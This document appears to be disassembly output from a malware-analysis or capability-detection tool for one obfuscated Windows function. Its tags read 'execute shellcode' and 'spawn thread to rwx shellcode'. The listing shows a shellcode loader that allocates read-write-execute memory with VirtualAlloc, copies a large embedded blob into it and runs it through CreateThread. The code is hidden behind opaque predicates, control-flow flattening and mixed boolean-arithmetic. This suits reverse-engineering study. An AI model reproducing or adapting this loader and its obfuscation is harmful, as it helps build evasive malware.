Function at 0x140001d40
Capabilities:
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x80]
mov dword [rbp - 4], r9d
mov qword [rbp], r8
mov qword [rbp + 8], rdx
mov qword [rbp + 0x10], rcx
mov edx, dword [0x1401881a0]
cmp dword [0x140188244], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x140001d9b
jmp 0x140002658
mov r11d, dword [rbp - 4]
mov rdi, qword [rbp]
mov r14, qword [rbp + 8]
mov r12, qword [rbp + 0x10]
mov eax, 0x10
mov qword [rbp - 0x18], rax
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x18]
mov rcx, rsp
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x50], rcx
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x18]
mov r13, rsp
mov rcx, r13
mov qword [rbp - 0x48], rcx
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x18]
mov r15, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x18]
mov rbx, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x18]
mov rsi, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x18]
mov r10, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x18]
mov rcx, rsp
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x40], rcx
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x18]
mov r8, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x18]
mov rdx, rsp
mov rcx, rdx
mov qword [rbp - 0x38], rcx
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x18]
mov rcx, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, rsp
mov r9, rax
mov qword [rbp - 0x30], r9
mov r9, qword [rbp - 0x28]
mov dword [r13], 0
mov qword [r15], r12
mov qword [rbx], r14
mov qword [rsi], rdi
mov dword [r10], r11d
mov qword [r9], 0
mov r9d, dword [0x140184550]
mov esi, dword [0x140184554]
mov r11d, esi
not r11d
mov ebx, r11d
and ebx, 0xdc5d197
mov r10d, esi
and r10d, 0xf23a2e68
or ebx, r10d
xor ebx, 0xf23a2e68
mov r10d, r9d
and r10d, ebx
mov edi, r9d
xor edi, ebx
or r10d, edi
sub r11d, r10d
mov r10d, r9d
not r10d
sub r11d, r10d
and r10d, 0x739b36b7
and r9d, 0x8c64c948
or r10d, r9d
xor r10d, 0x8c64c948
mov r9d, r10d
and r9d, esi
xor r10d, esi
or r9d, r10d
mov r10d, r9d
mov r9d, r11d
lea r9d, [r9 + r10 + 0x103]
mov dword [r8], r9d
mov qword [rdx], 0xffffffffffffffff
mov r8, qword [0x140184558]
mov r10, qword [0x140184560]
mov rdx, r8
not rdx
mov r9, r10
not r9
or r8, r9
and r9d, 0x4a8ff033
and r10, 0xffffffffb5700fcc
or r9, r10
xor r9, 0x4a8ff033
and rdx, r9
lea rdx, [rdx + r8 + 1]
mov qword [rcx], rdx
mov qword [rax], 0x169518
mov rdx, qword [rax]
sub rsp, 0x20
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call rax
mov rdx, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x20]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp - 0x18]
mov qword [rdx], r8
mov rdx, qword [rdx]
test rdx, rdx
setne byte [rcx]
call fcn.14001aad0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov dword [rax], 0x63dfba0
mov edx, dword [0x140188234]
cmp dword [0x1401881dc], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x140001fe7
jmp 0x140002658
jmp 0x140001fec
mov edx, dword [0x14018830c]
cmp dword [0x1401882f4], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x14000201c
jmp 0x140002854
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov dword [rbp - 0x54], eax
mov edx, dword [0x140188200]
cmp dword [0x140188210], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x140002055
jmp 0x140002854
mov eax, dword [rbp - 0x54]
sub eax, 0x8c4ac089
je 0x140002576
jmp 0x140002068
mov eax, dword [rbp - 0x54]
sub eax, 0x63dfba0
je 0x140002106
jmp 0x14000207b
mov eax, dword [rbp - 0x54]
sub eax, 0x50732dfe
je 0x140002189
jmp 0x14000208e
mov eax, dword [rbp - 0x54]
sub eax, 0x61dd01bd
je 0x14000232d
jmp 0x1400020a1
mov edx, dword [0x140188284]
cmp dword [0x140188224], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x1400020d1
jmp 0x140002859
mov edx, dword [0x140188230]
cmp dword [0x14018829c], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x140002101
jmp 0x140002859
jmp 0x1400025f3
mov edx, dword [0x1401881bc]
cmp dword [0x14018820c], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x140002136
jmp 0x14000285e
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x50]
mov r8b, byte [rcx]
mov ecx, 0x50732dfe
mov edx, 0x61dd01bd
test r8b, 1
cmovne ecx, edx
mov dword [rax], ecx
mov edx, dword [0x1401882b4]
cmp dword [0x14018821c], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x140002184
jmp 0x14000285e
jmp 0x1400025f3
mov edx, dword [0x1401881b0]
cmp dword [0x140188218], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x1400021b9
jmp 0x140002881
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x48]
mov r9d, dword [0x140184578]
mov r8d, dword [0x14018457c]
mov r10d, r8d
xor r10d, 0xffffffff
and r10d, 0xa418cd69
mov edx, r8d
and edx, 0x5be73296
or r10d, edx
xor r10d, 0x5be73296
xor r10d, 0xffffffff
mov edx, r9d
xor edx, r10d
and edx, r9d
shl edx, 0
add edx, 0xfac53a74
sub edx, 0xfac53a74
mov r11d, r9d
xor r11d, 0xffffffff
and r11d, 0xffffffff
mov r10d, r9d
and r10d, 0
or r11d, r10d
xor r11d, 0xffffffff
mov r10d, r8d
xor r10d, 0xffffffff
or r11d, r10d
xor r11d, 0xffffffff
and r11d, 0xffffffff
shl r11d, 0
xor r10d, r10d
sub r10d, edx
xor edx, edx
sub edx, r11d
add r10d, edx
xor edx, edx
sub edx, r10d
mov r11d, r9d
and r11d, r8d
mov r10d, r9d
xor r10d, r8d
or r11d, r10d
mov r10d, r11d
xor r10d, 0xffffffff
and r10d, 0xffffffff
and r11d, 0
or r10d, r11d
shl r10d, 0
sub edx, 0x49c975a
add edx, r10d
add edx, 0x49c975a
xor r9d, 0xffffffff
xor r8d, 0xffffffff
or r9d, r8d
xor r9d, 0xffffffff
and r9d, 0xffffffff
mov r8d, r9d
xor r8d, 0xffffffff
and r8d, 0xffffffff
and r9d, 0
or r8d, r9d
imul r8d, r8d, 0xffffffff
sub edx, 0xb2f6cbff
add edx, r8d
add edx, 0xb2f6cbff
sub edx, 1
imul edx, edx, 0x32c78fe3
xor r8d, r8d
sub r8d, edx
add r8d, 0x30227853
xor edx, edx
sub edx, r8d
imul edx, edx, 0x88922dcb
sub edx, 0xde19fb71
add edx, 0xf1d200d1
add edx, 0xde19fb71
mov dword [rcx], edx
mov dword [rax], 0x8c4ac089
mov edx, dword [0x1401881f4]
cmp dword [0x14018828c], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x140002328
jmp 0x140002881
jmp 0x1400025f3
mov edx, dword [0x14018827c]
cmp dword [0x140188238], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x14000235d
jmp 0x1400029c5
mov rcx, qword [rbp - 0x40]
mov rax, qword [rbp - 0x30]
mov rcx, qword [rcx]
mov r8, qword [rax]
lea rdx, [0x14001b010]
sub rsp, 0x20
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp - 0x40]
add rsp, 0x20
mov r8, qword [rax]
mov r9, qword [rax]
xor eax, eax
mov edx, eax
xor eax, eax
sub rsp, 0x30
mov rcx, rdx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov rcx, rax
mov rax, qword [rbp - 0x38]
mov qword [rax], rcx
mov rcx, qword [rax]
mov edx, 0xffffffff
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x48]
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov r8d, dword [0x140184580]
mov r10d, dword [0x140184584]
mov dword [rbp - 0x58], r10d
imul edx, r10d, 0xffffffff
add edx, 0xc0e628c3
add edx, 0x3f19d73d
mov r9d, r8d
xor r9d, 0xffffffff
and r9d, 0xdca49664
mov r11d, r8d
and r11d, 0x235b699b
or r9d, r11d
mov r11d, r10d
xor r11d, 0xffffffff
and r11d, 0xdca49664
mov esi, r10d
and esi, 0x235b699b
or r11d, esi
xor r9d, r11d
imul r11d, r9d, 0xffffffff
xor r9d, r9d
sub r9d, edx
xor edx, edx
sub edx, r11d
add r9d, edx
xor edx, edx
sub edx, r9d
mov r9d, r8d
xor r9d, 0xffffffff
mov r11d, r10d
xor r11d, 0xffffffff
and r9d, r11d
xor r9d, 0xffffffff
and r9d, 0xffffffff
shl r9d, 1
add edx, 0x8e56a4e5
add edx, r9d
sub edx, 0x8e56a4e5
mov r11d, r8d
and r11d, r10d
mov r9d, r8d
xor r9d, r10d
or r11d, r9d
mov r9d, r11d
xor r9d, 0xffffffff
and r9d, 0xa027fc0c
and r11d, 0x5fd803f3
or r9d, r11d
xor r9d, 0x5fd803f3
shl r9d, 0
sub edx, 0x74434cc7
add edx, r9d
add edx, 0x74434cc7
mov r9d, r10d
xor r9d, 0xffffffff
and r9d, 0x2fbcfa93
and r10d, 0xd043056c
or r9d, r10d
xor r9d, 0xd043056c
xor r8d, 0xffffffff
xor r9d, 0xffffffff
and r8d, r9d
xor r8d, 0xffffffff
and r8d, 0xffffffff
imul r9d, r8d, 0xffffffff
xor r8d, r8d
sub r8d, edx
xor edx, edx
sub edx, r9d
add r8d, edx
xor edx, edx
sub edx, r8d
imul edx, edx, 0x3b3f368f
xor r8d, r8d
sub r8d, edx
add r8d, 0xd944765a
xor edx, edx
sub edx, r8d
imul edx, edx, 0xd05f286f
add edx, 0x84807366
add edx, 0xf2936106
sub edx, 0x84807366
mov dword [rcx], edx
mov dword [rax], 0x8c4ac089
mov edx, dword [0x1401881c8]
cmp dword [0x1401881c4], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x140002571
jmp 0x1400029c5
jmp 0x1400025f3
mov edx, dword [0x1401882ec]
cmp dword [0x1401881b8], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x1400025a6
jmp 0x140002bae
mov rax, qword [rbp - 0x48]
mov eax, dword [rax]
mov dword [rbp - 0x5c], eax
mov edx, dword [0x140188310]
cmp dword [0x14018826c], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x1400025df
jmp 0x140002bae
mov eax, dword [rbp - 0x5c]
lea rsp, [rbp + 0x18]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov edx, dword [0x14018824c]
cmp dword [0x1401882dc], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x140002623
jmp 0x140002bb3
mov edx, dword [0x1401882bc]
cmp dword [0x140188250], 0xa
setl al
mov ecx, edx
add ecx, 1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
or al, cl
test al, 1
jne 0x140002653
jmp 0x140002bb3
jmp 0x140001fec
mov r11d, dword [rbp - 4]
mov rdi, qword [rbp]
mov r14, qword [rbp + 8]
mov r12, qword [rbp + 0x10]
mov eax, 0x10
mov qword [rbp - 0x68], rax
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov rcx, rsp
mov qword [rbp - 0x70], rcx
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov r13, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov r15, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov rbx, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov rsi, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov r10, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov r9, rsp
mov qword [rbp - 0x78], r9
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov r8, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov rdx, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov rcx, rsp
call fcn.14001aad0
sub rsp, rax
mov rax, rsp
mov dword [r13], 0
mov qword [r15], r12
mov qword [rbx], r14
mov qword [rsi], rdi
mov dword [r10], r11d
mov qword [r9], 0
mov r9d, dword [0x140184550]
mov esi, dword [0x140184554]
mov r11d, esi
not r11d
mov ebx, r11d
and ebx, 0xdc5d197
mov r10d, esi
and r10d, 0xf23a2e68
or ebx, r10d
xor ebx, 0xf23a2e68
mov r10d, r9d
and r10d, ebx
mov edi, r9d
xor edi, ebx
or r10d, edi
sub r11d, r10d
mov r10d, r9d
not r10d
sub r11d, r10d
and r10d, 0x739b36b7
and r9d, 0x8c64c948
or r10d, r9d
xor r10d, 0x8c64c948
mov r9d, r10d
and r9d, esi
xor r10d, esi
or r9d, r10d
mov r10d, r9d
mov r9d, r11d
lea r9d, [r9 + r10 + 0x103]
mov dword [r8], r9d
mov qword [rdx], 0xffffffffffffffff
mov r8, qword [0x140184558]
mov r10, qword [0x140184560]
mov rdx, r8
not rdx
mov r9, r10
not r9
or r8, r9
and r9d, 0x4a8ff033
and r10, 0xffffffffb5700fcc
or r9, r10
xor r9, 0x4a8ff033
and rdx, r9
lea rdx, [rdx + r8 + 1]
mov qword [rcx], rdx
mov qword [rax], 0x169518
mov rdx, qword [rax]
sub rsp, 0x20
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call rax
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x70]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp - 0x68]
mov qword [rdx], r8
mov rdx, qword [rdx]
test rdx, rdx
setne byte [rcx]
call fcn.14001aad0
sub rsp, rax
mov rax, rsp
mov dword [rax], 0x63dfba0
jmp 0x140001d9b
jmp 0x14000201c
jmp 0x1400020d1
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x50]
mov r8b, byte [rcx]
mov ecx, 0x50732dfe
mov edx, 0x61dd01bd
test r8b, 1
cmovne ecx, edx
mov dword [rax], ecx
jmp 0x140002136
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x48]
mov r9d, dword [0x140184578]
mov r8d, dword [0x14018457c]
mov r10d, r8d
xor r10d, 0xffffffff
and r10d, 0xa418cd69
mov edx, r8d
and edx, 0x5be73296
or r10d, edx
xor r10d, 0x5be73296
xor r10d, 0xffffffff
mov edx, r9d
xor edx, r10d
and edx, r9d
shl edx, 0
add edx, 0xfac53a74
sub edx, 0xfac53a74
mov r11d, r9d
xor r11d, 0xffffffff
and r11d, 0xffffffff
mov r10d, r9d
and r10d, 0
or r11d, r10d
xor r11d, 0xffffffff
mov r10d, r8d
xor r10d, 0xffffffff
or r11d, r10d
xor r11d, 0xffffffff
and r11d, 0xffffffff
shl r11d, 0
xor r10d, r10d
sub r10d, edx
xor edx, edx
sub edx, r11d
add r10d, edx
xor edx, edx
sub edx, r10d
mov r11d, r9d
and r11d, r8d
mov r10d, r9d
xor r10d, r8d
or r11d, r10d
mov r10d, r11d
xor r10d, 0xffffffff
and r10d, 0xffffffff
and r11d, 0
or r10d, r11d
shl r10d, 0
sub edx, 0x49c975a
add edx, r10d
add edx, 0x49c975a
xor r9d, 0xffffffff
xor r8d, 0xffffffff
or r9d, r8d
xor r9d, 0xffffffff
and r9d, 0xffffffff
mov r8d, r9d
xor r8d, 0xffffffff
and r8d, 0xffffffff
and r9d, 0
or r8d, r9d
imul r8d, r8d, 0xffffffff
sub edx, 0xb2f6cbff
add edx, r8d
add edx, 0xb2f6cbff
sub edx, 1
imul edx, edx, 0x32c78fe3
xor r8d, r8d
sub r8d, edx
add r8d, 0x30227853
xor edx, edx
sub edx, r8d
imul edx, edx, 0x88922dcb
sub edx, 0xde19fb71
add edx, 0xf1d200d1
add edx, 0xde19fb71
mov dword [rcx], edx
mov dword [rax], 0x8c4ac089
jmp 0x1400021b9
mov rcx, qword [rbp - 0x40]
mov rax, qword [rbp - 0x30]
mov rcx, qword [rcx]
mov r8, qword [rax]
lea rdx, [0x14001b010]
sub rsp, 0x20
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp - 0x40]
add rsp, 0x20
mov r8, qword [rax]
mov r9, qword [rax]
xor eax, eax
mov edx, eax
xor eax, eax
sub rsp, 0x30
mov rcx, rdx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov rcx, rax
mov rax, qword [rbp - 0x38]
mov qword [rax], rcx
mov rcx, qword [rax]
mov edx, 0xffffffff
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x48]
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov r8d, dword [0x140184580]
mov r10d, dword [0x140184584]
mov dword [rbp - 0x7c], r10d
imul edx, r10d, 0xffffffff
add edx, 0xc0e628c3
add edx, 0x3f19d73d
mov r9d, r8d
xor r9d, 0xffffffff
and r9d, 0xdca49664
mov r11d, r8d
and r11d, 0x235b699b
or r9d, r11d
mov r11d, r10d
xor r11d, 0xffffffff
and r11d, 0xdca49664
mov esi, r10d
and esi, 0x235b699b
or r11d, esi
xor r9d, r11d
imul r11d, r9d, 0xffffffff
xor r9d, r9d
sub r9d, edx
xor edx, edx
sub edx, r11d
add r9d, edx
xor edx, edx
sub edx, r9d
mov r9d, r8d
xor r9d, 0xffffffff
mov r11d, r10d
xor r11d, 0xffffffff
and r9d, r11d
xor r9d, 0xffffffff
and r9d, 0xffffffff
shl r9d, 1
add edx, 0x8e56a4e5
add edx, r9d
sub edx, 0x8e56a4e5
mov r11d, r8d
and r11d, r10d
mov r9d, r8d
xor r9d, r10d
or r11d, r9d
mov r9d, r11d
xor r9d, 0xffffffff
and r9d, 0xa027fc0c
and r11d, 0x5fd803f3
or r9d, r11d
xor r9d, 0x5fd803f3
shl r9d, 0
sub edx, 0x74434cc7
add edx, r9d
add edx, 0x74434cc7
mov r9d, r10d
xor r9d, 0xffffffff
and r9d, 0x2fbcfa93
and r10d, 0xd043056c
or r9d, r10d
xor r9d, 0xd043056c
xor r8d, 0xffffffff
xor r9d, 0xffffffff
and r8d, r9d
xor r8d, 0xffffffff
and r8d, 0xffffffff
imul r9d, r8d, 0xffffffff
xor r8d, r8d
sub r8d, edx
xor edx, edx
sub edx, r9d
add r8d, edx
xor edx, edx
sub edx, r8d
imul edx, edx, 0x3b3f368f
xor r8d, r8d
sub r8d, edx
add r8d, 0xd944765a
xor edx, edx
sub edx, r8d
imul edx, edx, 0xd05f286f
add edx, 0x84807366
add edx, 0xf2936106
sub edx, 0x84807366
mov dword [rcx], edx
mov dword [rax], 0x8c4ac089
jmp 0x14000235d
jmp 0x1400025a6
jmp 0x140002623